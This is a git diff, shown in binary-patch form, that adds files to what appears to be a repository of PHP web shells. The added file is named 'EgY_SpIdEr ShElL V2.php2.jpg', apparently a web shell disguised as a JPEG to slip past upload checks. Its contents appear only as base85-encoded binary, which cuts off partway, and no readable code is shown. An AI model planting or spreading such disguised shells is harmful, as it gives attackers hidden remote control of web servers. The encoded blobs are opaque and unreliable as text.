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 Kj~eKwkv{+%F^zEm literal 0 HcmV?d00001 diff --git a/php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php2.jpg b/php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..2d94764f1ac07a78ac103fc0e1b365c4d4e7ceed GIT binary patch literal 107216 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 